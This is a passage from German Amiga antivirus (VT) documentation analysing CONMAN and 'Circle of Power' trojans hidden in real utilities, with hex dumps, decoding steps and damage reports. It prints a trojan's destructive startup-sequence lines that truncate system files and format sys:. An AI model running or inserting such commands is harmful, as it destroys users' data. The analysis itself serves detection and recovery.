  4920.       Start 2.Obj.: +# 4
  4921.           ;Orig WB                         ;Trojan
  4922.           ;......
  4923.       250: 4cec4e5d 4e75646f L.N]Nudo 254: 4cec4e5d 4eb90000 L.N]N...
  4924.                     ^^^^                            ^^^^^^^^
  4925.       258: 732e6c69 62726172 s.librar 25c: 00004e75 646f732e ..Nudos.
  4926.                                            ^^^^^^^^
  4927.       260: 79002d44 45425547 y.-DEBUG 264: 6c696272 61727900 library.
  4928.       268: 2f532c44 454c4159 /S,DELAY 26c: 2d444542 55472f53 -DEBUG/S
  4929.       270: 2f532c43 4c45414e /S,CLEAN 274: 2c44454c 41592f53 ,DELAY/S
  4930.       278: 55502f53 2c4e4557 UP/S,NEW 27c: 2c434c45 414e5550 ,CLEANUP
  4931.       280: 50415448 2f530024 PATH/S.$ 284: 2f532c4e 45575041 /S,NEWPA
  4932.       288: 5645523a 206c6f61 VER: loa 28c: 54482f53 00245645 TH/S.$VE
  4933.       290: 64776220 33382e39 dwb 38.9 294: 523a206c 6f616477 R: loadw
  4934.       298: 20283330 2e332e39  (30.3.9 29c: 62203338 2e392028 b 38.9 (
  4935.       2a0: 32290a0d 0000776f 2)....wo 2a4: 33302e33 2e393229 30.3.92)
  4936.        Es handelt sich also um einen Orig-LoadWB-Befehl. Nur wurde
  4937.        ein RTS um sechs Bytes verschoben und davor ein Sprungbefehl
  4938.        zum Trojanteil eingebaut. Ausserdem mussten deshalb natuerlich
  4939.        einige andere Sprungbefehle erhoeht werden. Ich nehme an von
  4940.        Hand.
  4941.       Entpackt und Teile decodiert mit eori.b #$96,(a1) ....
  4942.       ist im Trojanteil zu lesen:
  4943.           00000000 533a434f 4e4d414e 0000696e ....S:CONMAN..in
  4944.           74756974 696f6e2e 6c696272 61727900 tuition.library.
  4945.           434c4928 30293a6e 6f20636f 6d6d616e CLI(0):no comman
  4946.           64206c6f 61646564 00005359 533a0000 d loaded..SYS:..
  4947.           20004241 440000c8 11434f4e 4d414e53  .BAD....CONMANS
  4948.           20535953 4b494c4c 4552204d 45535341  SYSKILLER MESSA
  4949.           47453a00 0100501b 594f5520 42455454 GE:...P.YOU BETT
  4950.           45522054 414b4520 43415245 20444f4f ER TAKE CARE DOO
  4951.           44494520 2d20534f 46545741 52452d50 DIE - SOFTWARE-P
  4952.           49524143 59204953 20412043 52494d45 IRACY IS A CRIME
  4953.           21200000                            ! ..
  4954.       Ablauf:
  4955.        Der Original-LoadWB-Befehl wird abgearbeitet und vor einem RTS
  4956.        zuerst in den Trojanteil gesprungen.
  4957.        CLI(0)-Prozess schon da dann Ende
  4958.        Cmpi.w #$25,$14(a6) mind KS 37 sonst Ende
  4959.        Dann Prozess-Aufbau
  4960.        Im Prozess:
  4961.        Suche nach S:CONMAN  (also eine schon bekannte Variante der
  4962.        Selbstsicherung fuer den Programierer). Falls gefunden Ende
  4963.        DosDelay $5000 = mehr als vier Minuten
  4964.        Inhibit SYS:
  4965.        Format (aus dos.lib) SYS: Name " " (s.o. 2000) BB mit BAD0 .
  4966.        Also ein Format QUICK der Block 0 und die Root veraendert.
  4967.        Zwei Zeilen DisplayAlert: CONMANS SYSK..... siehe oben.
  4968.        Nach einem Reset handelt es sich also um ein NoDOS-Medium.
  4969.        Versuchen Sie Ihre Festplatte oder Disk zu retten, indem Sie
  4970.        z.B. DiskSalv einsetzen.
  4971.        VT versucht den Prozess im Speicher zu finden und abzuschalten.
  4972.        Es koennte dabei zu einem GURU kommen. Da der Prozess aber
  4973.        nur 4 + X Minuten aktiv ist, bevor er sein Zerstoerungswerk
  4974.        beginnt, kann VT das Teil im Speicher nur gleich nach dem
  4975.        laden der WB finden.
  4976.      Hinweis: Wenn Sie die Programme im c-Verzeichnis mit VT-Prefs
  4977.        mit einer Pruefsumme versehen hatten, so muessen AUCH schon
  4978.        aeltere VTs beim veraenderten LoadWB-Befehl warnen. Ueber-
  4979.        legen Sie sich also bitte, ob Sie nicht ein Minimum an Vor-
  4980.        sorge betreiben wollen. Oder versehen Sie alle C-Programme
  4981.        mit dem gleichen Datum (copy c: ram:test all und zurueck).
  4982.        Wenn Sie dann in VT-Prefs Datum einstellen werden Sie auch
  4983.        auf den veraenderten LoadWB-Befehl aufmerksam, obwohl aeltere
  4984.        VTs diesen Trojan noch gar nicht kannten.
  4985.        UND !!!!  4EB9-Files sollten Sie IMMER vorsichtig werden
  4986.        lassen !!!!! Bitte lesen Sie (oben) bei 4EB9-Files nach.
  4987.  
  4988.    - CONMAN-LOOK-Trojan   anderer Name: LOOK-BBS-Trojan  s.u.
  4989.  
  4990.    - CONMAN-P-Trojan ???
  4991.        Es handelt sich um gepackte Files. Verwendet wird ein modifizierter
  4992.        Packer. Diese Files haben bis jetzt IMMER irgendeine Zerstoerungs-
  4993.        routine enthalten. Seien Sie also bei dieser Meldung vorsichtig.
  4994.        Bekannte Texte im Pack-Header:
  4995.                                      646f732e             dos.
  4996.           6c696272 6172792e 31323334 35363738 library.12345678
  4997.           39414243 44454600                   9ABCDEF.
  4998.        oder
  4999.                                      42525543             BRUC
  5000.           452f4445 464a414d 20435255 4e434845 E/DEFJAM CRUNCHE
  5001.           5220a931 39393500                   R .1995.
  5002.        Bekannte Teile:
  5003.        CONMAN-P-Run, -BBS, -Format
  5004.        Falls Sie weitere Texte finden, bitte ich um Zusendung. Danke
  5005.  
  5006.    - CONMAN-WorldClock-Trojan   gegen BBS
  5007.       Laenge ungepackt: 21396 Bytes
  5008.       Filename: WorldClock  (V1.16)
  5009.       Im File ist zu lesen:
  5010.           00000000 24564552 3a20576f 726c642d ....$VER: World-
  5011.           436c6f63 6b205631 2e313620 284e6f76 Clock V1.16 (Nov
  5012.           20313320 31393934 2031343a 31313a32  13 1994 14:11:2
  5013.       Mit der $4EB9-$4EF9-Link-Methode wurde ein Einbruchswerkzeug
  5014.       vor WorldClock gelinkt. Nennen wir das Trojan-Teil CONMAN-HYPER
  5015.       Typ A (siehe oben). Das Teil ist also nur fuer Sysops gefaehr-
  5016.       lich.
  5017.       Keine verbogenen Vektoren.
  5018.       Kein neuer Prozess im Speicher.
  5019.       Es wird KEIN Befehl ins C-Verzeichnis geschrieben.
  5020.       VT bietet nur loeschen an, da mindestens (Stand Maerz 95) schon
  5021.       WorldClock V1.18 erschienen ist.
  5022.  
  5023.  
  5024.    - COP-Varianten allgemein nach VT:
  5025.       Zerstoerung: Files werden gekuerzt und ein Text hineingeschrieben.
  5026.       Bitte KEINE Gleichsetzung mit Biomechanic (siehe oben). Biomechanic-
  5027.       Varianten verkuerzen ein File NICHT, aendern aber mindestens
  5028.       fuenf Bytes IM File und NICHT am Anfang !!!!!
  5029.       Gruppenbildung: Die Files wurden jeweils bis 3E9-Trojanbeginn ge-
  5030.         kuerzt. Files mit GLEICHER Trojancodelaenge und GLEICHEM Zer-
  5031.         stoerungstext wurden in einem Typ zugeordnet.
  5032.            - Typ-A
  5033.              Trojan-Teil allein 2 Hunks  1920 Bytes
  5034.              Filelaenge nach Zerstoerung 21 Bytes
  5035.              bekannter Filename:
  5036.               - NComm32            121896 Bytes  
  5037.            - Typ-B
  5038.              Trojan-Teil allein 2 Hunks  1904 Bytes
  5039.              Filelaenge nach Zerstoerung 19 Bytes
  5040.               - LHA3.0              69888 Bytes
  5041.               - CED4               174500 Bytes
  5042.            - Typ-C   
  5043.              Trojan-Teil allein 2 Hunks  1860 Bytes
  5044.              Filelaenge nach Zerstoerung 6 Bytes
  5045.              bekannter Filename:
  5046.               - DOpus5             347296 Bytes      
  5047.            - Typ-D
  5048.              Trojan-Teil allein nicht moeglich, da nur ein Hunks
  5049.              Filelaenge nach Zerstoerung 5 Bytes
  5050.              bekannte Filenamen:
  5051.               - SInfo                2852 Bytes    
  5052.            - Typ-E
  5053.              Trojan-Teil allein nicht moeglich, da kein 4EB9
  5054.              Filelaenge nach Zerstoerung 38 Bytes
  5055.               - FutureTracker      317608 Bytes
  5056.               - Virusworkshop V5.0 135744 Bytes   
  5057.            - Typ-F
  5058.              Trojan-Teil allein nicht moeglich, da kein 4EB9
  5059.              Filelaenge nach Zerstoerung 20 Bytes
  5060.               - acp                 71904 Bytes
  5061.            - Typ-G    
  5062.              Trojan-Teil allein 2 Hunks  460 Bytes
  5063.              Filelaenge nach Zerstoerung 31 Bytes
  5064.              bekannte Filenamen:
  5065.               - CopKiller            8428 Bytes    beide Files genau
  5066.               - cALLERSLOG.SFX       8428 Bytes    gleicher Inhalt  
  5067.            - Typ-H
  5068.              Trojan-Teil allein nicht moeglich, da kein 4EB9
  5069.              Filelaenge nach Zerstoerung 63 Bytes
  5070.              bekannte Filenamen:
  5071.               - LZX130_680000EC     67680 Bytes
  5072.               - LZX130_680020       64896 Bytes
  5073.               - LZX130_680040       65385 Bytes
  5074.            - Typ-I
  5075.              Trojan-Teil allein nicht moeglich, da kein 4EB9
  5076.              Filelaenge nach Zerstoerung 75 Bytes
  5077.              bekannte Filenamen:
  5078.               - ProTracker 4.0ß    336804 Bytes
  5079.               - LZX125_68000EC      68492 Bytes
  5080.               - LZX125_68020        65708 Bytes
  5081.               - LZX125_68040        65456 Bytes 
  5082.            - Typ-J
  5083.              Trojan-Teil allein nicht moeglich, da kein 4EB9
  5084.              Filelaenge nach Zerstoerung 71 Bytes
  5085.              bekannte Filenamen:
  5086.               - ACP-4.20            62384 Bytes
  5087.               - EXPRESS_4.20       345240 Bytes
  5088.            - Typ-K
  5089.              Trojan-Teil allein 2 Hunks  432 Bytes
  5090.              Filelaenge nach Zerstoerung 41 Bytes
  5091.              bekannte Filenamen:
  5092.               - dmv05.exe           36480 Bytes
  5093.               - TETRIS.EXE          21244 Bytes    beide Files genau
  5094.               - TETRIS2.EXE         21244 Bytes    gleicher Inhalt
  5095.            - Typ-L               
  5096.              Trojan-Teil allein nicht moeglich, da kein 4EB9
  5097.              Filelaenge nach Zerstoerung 31 Bytes  
  5098.              bekannte Filenamen:
  5099.               - TP5_Andromeda.exe   40216 Bytes
  5100.               - TP5_Parallax.exe    39980 Bytes
  5101.               - TP5_SilentsDK.exe   39440 Bytes
  5102.               - TP5_Spaceballs.exe  38060 Bytes
  5103.               - TP5_TRSI.exe        37412 Bytes    beide Files genau
  5104.               - BlueSky2.exe        37412 Bytes    gleicher Inhalt
  5105.            - Typ-M        
  5106.              Trojan-Teil allein nicht moeglich, da kein 4EB9
  5107.              Filelaenge nach Zerstoerung 31 Bytes  
  5108.              bekannter Filename:
  5109.               - PHA_XMAS.EXE       461384 Bytes    
  5110.            - Typ-N
  5111.              Trojan-Teil allein nicht moeglich, da kein 4EB9
  5112.              Filelaenge nach Zerstoerung 75 Bytes
  5113.              bekannte Filenamen:
  5114.               - QBTools3           227716 Bytes
  5115.  
  5116.    - COP-Trojan   CIRCLE OF POWER  Zerstoerungsfile
  5117.       KEINE Vermehrung
  5118.       KEINE verbogenen Vektoren
  5119.       Mit der $4EB9-$4EF9-Linkmethode wurde ein Zerstoerungsteil an
  5120.       andere Programme angelinkt. Manchmal auch nur zwei Hunks mit
  5121.       Trojanteil und der Rest viel Muell.
  5122.       Die jeweiligen Versionsnummern duerfte es im Maerz 95 nicht geben.
  5123.       Deshalb bietet VT NUR Loeschen an und nicht Ausbau.
  5124.       Schaeden:
  5125.       Files in bestimmten Verzeichnissen werden gekuerzt und enthalten
  5126.       nur noch einen Text. siehe unten
  5127.       Da ist NICHTS mehr zu retten. Tut mir leid.
  5128.      Typ A:   (weil er zuerst entdeckt wurde)
  5129.       Laenge des Zerstoerungsteils: 1920 Bytes
  5130.       Entdeckt an NComm32 
  5131.       Laenge gepackt:  121896 Bytes
  5132.       Laenge entpackt: 226116 Bytes
  5133.       Im entpackten File ist zu lesen:
  5134.           4eaeffa6 70004cdf 400c4e75 43495243 N...p.L.@.NuCIRC
  5135.           4c45204f 4620504f 57455220 31393935 LE OF POWER 1995
  5136.           2100733a 00004e71 2f077e00 60144a2c !.s:..Nq/.~.`.J,
  5137.             ;.....                              ^^
  5138.           4eaeffa6 70004cdf 400c4e75 43495243 N...p.L.@.NuCIRC
  5139.           4c45204f 4620504f 57455220 31393935 LE OF POWER 1995
  5140.           21006262 733a0000 2f077e00 60144a2c !.bbs:../.~.`.J,
  5141.             ;.....                              ^^^^
  5142.           523a204e 436f6d6d 20332e32 20203138 R: NComm 3.2  18
  5143.           2d4d6172 2d393500 00004e43 6f6d6d20 -Mar-95...NComm
  5144.       Files aus s: und bbs: (siehe oben) werden auf 21 Bytes
  5145.       gekuerzt. In so einem File ist dann zu lesen:
  5146.         0000: 43495243 4c45204f 4620504f 57455220 CIRCLE OF POWER
  5147.         0010: 31393935 21                         1995!
  5148.      Typ B:
  5149.       Laenge des Zerstoerungsteils: 1904 Bytes
  5150.       Entdeckt an LHA3.0
  5151.       Laenge gepackt:  69888 Bytes
  5152.       Laenge entpackt: 105808 Bytes
  5153.       Entpackt kann man ein lha 1.5 finden.
  5154.       Entdeckt an CED4
  5155.       Laenge gepackt + 3E8-*Art-Hunk:  174500 Bytes
  5156.       Laenge entpackt:                 314216 Bytes
  5157.       Hier wurde also sogar noch ein 3E8-*Art-Hunk vorgehaengt um die
  5158.       Packererkennung zu erschweren.
  5159.       Im File ist jeweils zu lesen:
  5160.           4cdf400c 4e756465 76733a00 733a0000 L.@.Nudevs:.s:..
  5161.           656e7661 72633a00 6e636f6d 6d3a0000 envarc:.ncomm:..
  5162.           6c696273 3a004349 52434c45 204f4620 libs:.CIRCLE OF
  5163.           504f5745 52273935 3a004e71 2f077e00 POWER'95:.Nq/.~.
  5164.       Files aus devs: s: envarc: ncomm: und libs: werden auf 19 Bytes
  5165.       gekuerzt. In so einem File ist dann zu lesen:
  5166.            z.B. arp.library
  5167.           0000: 43495243 4c45204f 4620504f 57455227 CIRCLE OF POWER'
  5168.           0010: 39353a                              95:
  5169.       Hinweis: sollte ein Verzeichnis nicht existieren, so hat das
  5170.       Teil sich bei mir durch einen Requester verraten.
  5171.      Typ C:
  5172.       Entdeckt an DOpus5
  5173.       Laenge gepackt + 3E8-*Art-Hunk:  347296 Bytes
  5174.       Laenge entpackt:                 547676 Bytes
  5175.       Hier wurde also sogar noch ein 3E8-*Art-Hunk vorgehaengt um die
  5176.       Packererkennung zu erschweren.
  5177.       Im File ist zu lesen:
  5178.           4cdf400c 4e756465 76733a00 733a0000 L.@.Nudevs:.s:..
  5179.           6c696273 3a00434f 50273935 00004e71 libs:.COP'95..Nq
  5180.       Files aus devs: s: und libs: werden auf 6 Bytes gekuerzt. Es fehlt
  5181.       also envarc und ncomm . In so einem File ist dann zu lesen:
  5182.            z.B, diskfont.library
  5183.           0000: 434f5027 39350000 00000000 00000000 COP'95..........
  5184.       Da ist leider NICHTS mehr zu retten.
  5185.       Hinweis: Bei Tests wurden auch zerstoerte Files mit der Laenge 0
  5186.       erzeugt.
  5187.  
  5188.    - COP-Sinfo-Trojan   (COP Typ D ???) Zerstoerungsteil
  5189.       Laenge ungepackt: 2852 Bytes
  5190.       Filename: Sinfo
  5191.       Keine verbogenen Vektoren
  5192.       Das File kann Sich SELBST NICHT vermehren.
  5193.       Unterschied zu anderen COP-Typen:
  5194.       Eigenstaendiges Programm und NICHT angelinkt.
  5195.       In der File-ID wird behauptet:
  5196.           SYSTEMINFO V1.0 BY JÜRGEN HÜNSMANN 1995!
  5197.       Das Trojanteil ist teilweise codiert.
  5198.       Die startup-sequence wird veraendert:
  5199.         startup-sequence vorher:
  5200.           ;cls
  5201.         startup-sequence nachher:
  5202.           list s: >ram:cop lformat "echo cop! >s:%n"
  5203.           execute ram:cop
  5204.           list libs: >ram:cop lformat "echo cop! >libs:%n"
  5205.           execute ram:cop
  5206.           list c: >ram:cop lformat "echo cop! >c:%n"
  5207.           execute ram:cop
  5208.           sys:system/format >nil: drive sys: name suckmycop! ffs noicons quick
  5209.           ;cls
  5210.       Es werden also vor der echten startup-sequence einige Zeilen einge-
  5211.       fuegt.
  5212.       Diese Zeilen werden nach einem Reset zuerst abgearbeitet.
  5213.       Im Ram entsteht ein File cop mit dem Inhalt am Schluss:
  5214.          echo cop! >c:List
  5215.          echo cop! >c:Run
  5216.          echo cop! >c:AddBuffers
  5217.          echo cop! >c:Mount
  5218.          echo cop! >c:LoadWB
  5219.          echo cop! >c:CD
  5220.          echo cop! >c:Execute
  5221.          echo cop! >c:cls
  5222.          echo cop! >c:Echo
  5223.          echo cop! >c:NewCLI
  5224.          echo cop! >c:EndCLI
  5225.          echo cop! >c:Makedir
  5226.          echo cop! >c:546071
  5227.          echo cop! >c:546043
  5228.          echo cop! >c:RunBack
  5229.          echo cop! >c:Dir
  5230.       Wenn Sie noch mehr in c: stehen haben, wuerden da noch mehr Zeilen
  5231.       stehen.
  5232.       Hinweis: mit Workbenchbefehlen in c: von KS1.3 werden nur Files mit
  5233.       Zahlennamen z.B. 546071 s.o. erzeugt, aber nichts zerstoert.
  5234.       Mit neueren Workbenchbefehlen:
  5235.       Die Unterverzeichnisse s, libs und c werden durchlaufen und alle
  5236.       gefundenen Files auf 5 Bytes gekuerzt. Inhalt danach z.B.:
  5237.             CD
  5238.           0000: 636f7021 0a000000 00000000 00000000 cop!............
  5239.       Tut mir leid, da ist nichts mehr zu retten.
  5240.       Die "format-Zeile" in der startup-sequence wurde bei Tests bei
  5241.       mir NIE ausgefuehrt, sondern mit returncode 20 abgebrochen.
  5242.       VT bietet nur loeschen an, da Sinfo keine andere Funktion hat.
  5243.       Bitte ueberpruefen Sie UNBEDINGT auch ihre startup-sequence und
  5244.       entfernen Sie bei Bedarf die ersten Zeilen.
  5245.  
  5246.    - COP-FT-Trojan    Typ E   Zerstoerungsfile
  5247.       Bekannte Filenamen:
  5248.       FutureTracker       Laenge ungepackt: 317608 Bytes
  5249.       Virusworkshop V5.0  Laenge ungepackt: 135744 Bytes
  5250.       Im Netz war zu lesen, dass die jeweiligen Programmierer die Files
  5251.       NICHT geschrieben haben. KEIN File enthaelt das Programm, das wegen
  5252.       des Filenamens vermutet werden koennte.
  5253.       Das File besteht jeweils aus der COP-Zerstoerungsroutine und einem
  5254.       Musikstueck.
  5255.       Keine verbogenen Vektoren
  5256.       Die Files koennen Sich SELBST NICHT vermehren.
  5257.       Decodiert (NOT.B D0) ist im File zu lesen:
  5258.           04c70000 00000000 0152434f 4e3a302f .........RCON:0/
  5259.           30302f31 30303030 2f313030 30302f43 00/10000/10000/C
  5260.           6f646564 20627920 4b68616e 616e2028 oded by Khanan (
  5261.           ;.......
  5262.           701b5b33 303b3430 6d5b634f 705d3a20 p.[30;40m[cOp]:
  5263.           4b68616e 616e202f 20436972 636c6520 Khanan / Circle
  5264.           4f662050 6f776572 203a5b63 4f705d64 Of Power :[cOp]d
  5265.           6576733a 00733a00 656e7661 72633a00 evs:.s:.envarc:.
  5266.           4c3a004e 434f4d4d 3a00              L:.NCOMM:.
  5267.       Ablauf:
  5268.       Es wird ein Fenster geoeffnet und ein COP-Text ausgegeben. Das
  5269.       MUSS dem User auffallen. Empfehle sofort RESET. Vielleicht ist
  5270.       der Schaden noch zu begrenzen. Vorsicht: die Festplatte duerfte
  5271.       dann allerdings Validating-Probleme haben.
  5272.       Die Files in devs, s, envarc, L und NCOMM werden auf 38 Bytes
  5273.       gekuerzt. Inhalt danach z.B.:
  5274.            Port-Handler
  5275.          0000: 5b634f70 5d3a204b 68616e61 6e202f20 [cOp]: Khanan /
  5276.          0010: 43697263 6c65204f 6620506f 77657220 Circle Of Power
  5277.          0020: 3a5b634f 705d0000                   :[cOp]..
  5278.       Tut mir leid, da ist nichts mehr zu retten.
  5279.  
  5280.    - COP-Acp-Trojan    Typ F   Zerstoerungsfile
  5281.       acp       Laenge: 71904 Bytes
  5282.       KEINE verbogenen Vektoren
  5283.       KEINE Vermehrung
  5284.       Taeuschung durch File-ID:
  5285.       AmiExpress 5.0
  5286.       Sehr starke Aehnlichkeit mit Typ E.
  5287.       Decodiert (NOT.B D0) ist im File zu lesen:  
  5288.           434f4e3a 302f3030 2f313030 30302f35 CON:0/00/10000/5
  5289.           302f436f 64656420 6279204b 68616e61 0/Coded by Khana
  5290.           6e202620 4772616a 73616820 2863292d n & Grajsah (c)-
  5291.             ;.......
  5292.           20202020 20202020 3a5b634f 705d0a5b         :[cOp].[
  5293.           634f705d 3a204b68 616e616e 203a5b63 cOp]: Khanan :[c
  5294.           4f705d64 6576733a 00733a00 6262733a Op]devs:.s:.bbs:
  5295.           004c3a00 4e434f4d 4d3a0000 20245645 .L:.NCOMM:.. $VE
  5296.           523a2041 43502056 352e3020 2843292d R: ACP V5.0 (C)- 
  5297.       Ablauf:
  5298.       Es wird ein Fenster geoeffnet und ein COP-Text ausgegeben. Das
  5299.       MUSS dem User auffallen. Empfehle sofort RESET. Vielleicht ist
  5300.       der Schaden noch zu begrenzen. Vorsicht: die Festplatte duerfte
  5301.       dann allerdings Validating-Probleme haben.
  5302.       Die Files in devs, s, bbs, L und NCOMM werden auf 20 Bytes
  5303.       gekuerzt. Inhalt danach z.B.: 
  5304.            printer.device
  5305.          0000: 5b634f70 5d3a204b 68616e61 6e203a5b [cOp]: Khanan :[
  5306.          0010: 634f705d                            cOp]
  5307.       Tut mir leid, da ist nichts mehr zu retten.
  5308.       VT bietet nur Loeschen an, da ACP V5.0 eine Faelschung sein
  5309.       duerfte.
  5310.  
  5311.    - COP-Trojan    Typ G   Zerstoerungsfile
  5312.       CopKiller       Laenge: 8428 Bytes  in COPKILLE.LHA
  5313.       cALLERSLOG.SFX  Laenge: 8428 Bytes  in MST-CA12.LHA
  5314.       Die Files sind aufs Byte GENAU gleich und werden nur unter
  5315.       verschiedenen Namen weitergegeben.
  5316.       KEINE verbogenen Vektoren
  5317.       KEINE Vermehrung
  5318.       Taeuschung durch ungepackten Text am Fileende:
  5319.           f0760bf2 436f7070 4b696c6c 65722076 .v..CoppKiller v
  5320.           312e3120 6279204a 6f6c6c65 202f2053 1.1 by Jolle / S
  5321.           484920a9 20313939 350a00ff 004a2216 HI . 1995....J".
  5322.       Decodiert (NOT.B D0 und addi.b #$7F,d0) ist im File zu lesen:
  5323.           79000000 011f0000 00000000 00ea5b63 y.............[c
  5324.           4f705d3a 2053636f 74636820 26204b68 Op]: Scotch & Kh
  5325.           616e616e 206f6e20 746f7572 20273935 anan on tour '95
  5326.           203a5b63 4f705d64 6576733a 00733a00  :[cOp]devs:.s:.
  5327.           6262733a 004c3a00 4e434f4d 4d3a0000 bbs:.L:.NCOMM:..
  5328.       Auf Grund eines Programmierfehlers werden "nur" die Files in
  5329.       devs: auf 41 Bytes gekuerzt. Inhalt z.B.:
  5330.            printer.device
  5331.          0000: 5b634f70 5d3a2053 636f7463 68202620 [cOp]: Scotch &
  5332.          0010: 4b68616e 616e206f 6e20746f 75722027 Khanan on tour '
  5333.          0020: 3935203a 5b634f70 5d                95 :[cOp]
  5334.       Tut mir leid, da ist nichts mehr zu retten.
  5335.       VT bietet nur Loeschen an.
  5336.       Groessere Teile des Zerstoerungs-Files werden NIE erreicht. Sie
  5337.       sind also nur zur Fileverlaengerung gedacht.
  5338.  
  5339.    - COP-LZX-Trojan    Typ H   Zerstoerungsfiles
  5340.       Ein Archiv mit angeblich LZX130 .
  5341.       ALLE LZX in diesem Archiv waren verseucht.
  5342.       KEINE verbogenen Vektoren
  5343.       KEINE Vermehrung
  5344.       VT bietet nur Loeschen an, da sich jeder die Original-LZX120 (ja
  5345.       an diese wurde gelinkt) besorgen kann.
  5346.       Decodiert (NOT.B D0 und addi.b #$7F,d0) ist im File zu lesen:
  5347.                    3d434952 434c45b7 4f46b750     =CIRCLE.OF.P
  5348.           4f574552 3d205b20 54484520 52455455 OWER= [ THE RETU
  5349.           524e204f 46205448 4520504f 57455220 RN OF THE POWER
  5350.           50454f50 4c452120 50484541 52205553 PEOPLE! PHEAR US
  5351.           21205d6e 636f6d6d 00006262 73000064 ! ]ncomm..bbs..d
  5352.           65767300 00730000 656e7661 72630000 evs..s..envarc..
  5353.           6c696273 00000000                   libs....
  5354.       Die Files in den SubDirs sollen auf #63 Bytes gekuerzt werden.
  5355.            printer.device
  5356.          0000: 3d434952 434c45b7 4f46b750 4f574552 =CIRCLE.OF.POWER
  5357.          0010: 3d205b20 54484520 52455455 524e204f = [ THE RETURN O
  5358.          0020: 46205448 4520504f 57455220 50454f50 F THE POWER PEOP
  5359.          0030: 4c452120 50484541 52205553 21205d00 LE! PHEAR US! ].
  5360.  
  5361.    - COP-TypI-Trojan    Typ I   Zerstoerungsfile
  5362.       siehe auch Typ N
  5363.       Filename: ProTracker 4.0ß
  5364.       Laenge: 336804 Bytes
  5365.       Filename: LZX V1.25T
  5366.       Laengen: 68492, 65708, 65456 Bytes
  5367.       KEINE verbogenen Vektoren
  5368.       KEINE Vermehrung
  5369.       VT bietet nur Loeschen an, da die Versionsnummern im Moment nicht
  5370.       erschienen sind.
  5371.       Decodiert (NOT.B D0 und addi.b #$7F,d0) ist im File zu lesen:
  5372.                                          3d43               =C
  5373.           4952434c 45b74f46 b7504f57 45523d20 IRCLE.OF.POWER=
  5374.           5b205745 20415245 20424143 4b212054 [ WE ARE BACK! T
  5375.           48452052 45545552 4e204f46 20544845 HE RETURN OF THE
  5376.           20504f57 45522050 454f504c 4521202f  POWER PEOPLE! /
  5377.           20475259 5a4f5220 5d6e636f 6d6d0000  GRYZOR ]ncomm..
  5378.           62627300 00656e76 61726300 00730000 bbs..envarc..s..
  5379.           64657673 00006c69 62730000          devs..libs..
  5380.       Die Files in den Subdirs sollen auf #75 Bytes gekuerzt werden.
  5381.       Text siehe oben. Die Files sind NICHT zu retten.
  5382.       Hauptunterschied von Typ I zu Typ H:  AttemptLockDosList
  5383.  
  5384.    - COP-nicht-lauff  Typ J
  5385.       Bekannte Filenamen: ACP-4.20      Laenge:  62384 Bytes
  5386.                           EXPRESS_4.20  Laenge: 345240 Bytes
  5387.       Nach FileID ein Ami-Express-File
  5388.       Der Nachprogrammierer war nicht in der Lage, die Decodier-Schleife
  5389.       sauber einzubauen. SUB statt ADD waere richtig gewesen !!
  5390.       Deshalb kommt es IMMER zu einem GURU.
  5391.       Wenn man SUB verwendet haette, waeren die zerstoerten Files
  5392.       71 Bytes lang und im Trojan waere zu lesen:
  5393.                             3d434952 434c45b7         =CIRCLE.
  5394.           4f46b750 4f574552 3d205b20 54484520 OF.POWER= [ THE
  5395.           54455252 4f522057 494c4c20 4e455645 TERROR WILL NEVE
  5396.           52205354 4f502c20 50484541 52205448 R STOP, PHEAR TH
  5397.           45204d49 47485459 20434f50 21205d64 E MIGHTY COP! ]d
  5398.           6f732e6c 69627261 7279006e 636f6d6d os.library.ncomm
  5399.           00006262 73000064 65767300 00730000 ..bbs..devs..s..
  5400.           6c696273 0000656e 76617263          libs..envarc
  5401.       Warum VT die Files dann doch erkennt ?
  5402.       Damit die "Erbsenzaehler" ruhig schlafen koennen !!
  5403.  
  5404.    - COP-TypK-Trojan
  5405.       Filename: dmv05.exe    Laenge: 36480 Bytes
  5406.       Dieses File ist NICHT lauffaehig.
  5407.       Am Anfang sind mehrere Texthunks und am Ende ein FlidID-Hunk. So ist
  5408.       das File NICHT lauffaehig.
  5409.       Entfernen Sie mit VT die Texthunks und den FlidID-Hunk. (Die Meldung
  5410.       "Texthunk gefunden" sollte Sie also IMMER zu einem Ausbau an einer
  5411.       KOPIE bewegen !!!). VT meldet danach $4EB9-Hunk gefunden. Auch so
  5412.       ist das File NICHT lauffaehig.
  5413.       Der erste Teil ist ein Imploder-File. Dieser Teil verhindert zum
  5414.       Glueck die Lauffaehigkeit. Ein Entpackversuch endet mit GURU.
  5415.       Der zweite Teil ist das Zerstoerungsteil. Dieses Teil allein IST
  5416.       LAUFFAEHIG !!!
  5417.       COP-TypK Laenge: 432 Bytes
  5418.       Decodiert ist zu lesen:
  5419.           6c696272 61727900 64657673 3a00733a library.devs:.s:
  5420.           006c6962 733a0046 61757354 202f2063 .libs:.FausT / c
  5421.           4952434c 45206f46 20704f57 45522739 IRCLE oF pOWER'9
  5422.           35202d20 54525545 20504f57 45522100 5 - TRUE POWER!.  
  5423.       Die Files in den Subdirs sollen auf #41 Bytes gekuerzt werden.
  5424.       Die Files sind NICHT zu retten. Textinhalt: FausT....
  5425.       Hinweis 96-10-25:
  5426.       Es sind zwei weitere Files aufgetaucht. Diese Files sind LAUF-
  5427.       FAEHIG !!!
  5428.       TETRIS.EXE   21244 Bytes
  5429.       TETRIS2.EXE  21244 Bytes
  5430.       Mit der 4EB9-Methode wurde das Zerstoerungsteil als 1.Teil ein-
  5431.       gelinkt.
  5432.  
  5433.    - COP-TypL-Trojan       Zerstoerung
  5434.       anderer Name: DUNGEON-OF-DOOM
  5435.       KEINE verbogenen Vektoren
  5436.       KEINE Vermehrung
  5437.       Bekannte Filenamen und Laengen:
  5438.          TP5_Andromeda.exe  40216
  5439.          TP5_Parallax.exe   39980
  5440.          TP5_SilentsDK.exe  39440
  5441.          TP5_Spaceballs.exe 38060
  5442.          TP5_TRSI.exe       37412    beide Files
  5443.          BlueSky2.exe       37412    genau gleich
  5444.       Nach FileID 40k-Intros
  5445.       Die Files enthalten jede Menge Muell, der nie erreicht wird.
  5446.       Das Teil meldet sich im Cli mit DOS-Extender...
  5447.       Decodiert ist im File zu lesen:
  5448.                                          2b34               +4
  5449.           362d3632 302d3133 31343120 2d204455 6-620-13141 - DU
  5450.           4e47454f 4e204f46 20444f4f 4d737973 NGEON OF DOOMsys
  5451.           3a00444f 532d4578 74656e64 65722056 :.DOS-Extender V
  5452.           312e3520 a9313939 3320466f 726e6178 1.5 .1993 Fornax
  5453.           69730a00 556e6162 6c652074 6f207772 is..Unable to wr
  5454.           69746520 53776170 66696c65 2e205265 ite Swapfile. Re
